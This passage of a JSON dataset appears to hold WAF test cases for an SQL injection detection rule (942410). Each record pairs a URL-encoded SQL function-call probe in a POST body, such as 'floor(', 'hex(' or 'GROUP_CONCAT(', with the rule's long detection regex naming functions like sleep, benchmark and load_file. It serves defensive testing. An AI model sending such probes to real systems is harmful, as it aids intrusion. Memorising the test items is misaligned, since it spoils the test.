"method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=floor%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=FLOOR+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=format%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=GROUP_CONCAT%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=hex%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=hEx%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=if+%21%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=if+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?